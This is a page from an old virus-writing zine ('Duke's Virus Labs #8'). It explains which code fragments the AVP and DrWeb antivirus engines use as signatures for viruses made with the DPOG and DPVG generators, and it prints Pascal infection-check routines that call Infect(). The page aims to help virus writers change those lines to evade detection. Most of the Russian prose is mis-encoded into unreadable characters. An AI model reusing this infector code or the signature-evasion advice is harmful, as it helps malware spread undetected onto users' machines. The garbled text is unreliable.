- [Duke's Virus Labs #8] - [Page 39] -

 ᨣ DPOG  DPVG
(c) by Duke/SMF

   稭   990624 AVP ⠫ ⥪஢ , ᪮஢
    DPOG v0.01.  㬠,   । 堫.
( ⥪஢  ᮢ DrWeb     ᨣ    .
 ᫥⢨,  ᮧ DPOG  㣨 ࠬࠬ 㦥  ⥪
Web'   ॢ.)    訡. ᯥ᪨  ᨣ,
騥 ᥬ ᮧ ᠬ.   AVPX v3.20 by z0mbie  㧭, 
 AVP ⮫쪮 3  ᮮ⢥ DPOG-ᠬ :
=== Cut ====
HLLO.DPOG-based
#DPOG-based
HLL.gen
=== Cut ===

        㡨 ᨣ 8-E~   HLLO.DPOG-based
  ᨣ  楤 ஢ન  ࠦ:
=== Cut ===
procedure Check(i:string);
var g:file;
    y,z:byte;
begin
if i=paramstr(0) then Exit;
if copy(i,length(i)-10,11)='COMMAND.COM' then Exit;
assign(g,i);
reset(g,1);
seek(g,$0A);
blockread(g,y,1);
blockread(g,z,1);
close(g);
if (y<>ord(ID1)) or (z<>ord(ID2)) then Infect(i);
end;
=== Cut ===

   C HLLO.DPOG-based (1)  室 ⥪   :
=== Cut ===
assign(g,i);
reset(g,1);
seek(g,$0A);
blockread(g,y,1);
blockread(g,z,1);
close(g);
if (y<>ord(ID1)) or (z<>ord(ID2)) then Infect(i);
=== Cut ===

     ᯮ  , ࠦ 䠩   COMMAND.COM.
᫨   宧⢮ 모  ⠢ ⮫쪮 "Infect(i)",  
㤥 ࠡ  㦥,  AVP 祣  㢨.

    ⥪஢ HLL.gen ᯮ 㣠 ᨣ.
 ਥ ᯮ짮    DPVG :
=== Cut ===
procedure Check(i:string);
var g:file;
    y:array [1..2] of byte;
begin
[ --- skipped --- ]
assign(g,i);
reset(g,1);
seek(g,$0A);
blockread(g,y,1);
close(g);
if (y[1]<>ord(ID1)) or (y[2]<>ord(ID2)) then  Infect(i);
end;
=== Cut ===

    ,  ᨣ  AVP ࠭ 㤠筮, ... ४⭮.
᫨  ⠭ VirusSize ⮨ ᫮ 4000 ( 㬮砭),   ॠ
ࠧ ,     ⮬  ०  ᮫⭮
ࠡᯮᮡ.   , AVP 㤥 ⥪஢  
HLLO.DPOG-based,   Corrupted...

    祣  DrWeb ᫥    ?
=== Cut ===
d:\TEST.EXE infected with modification of HLLO.Duke
=== Cut ===

     ⮬,    ᨣ ᮢ HLLO.Duke.based 室
⪮஢   :
=== Cut ===
writeln('Created (c) by Duke/SMF');
=== Cut ===

   ⮨   ப  - ,   ⠭ 
⥪㥬 !!!
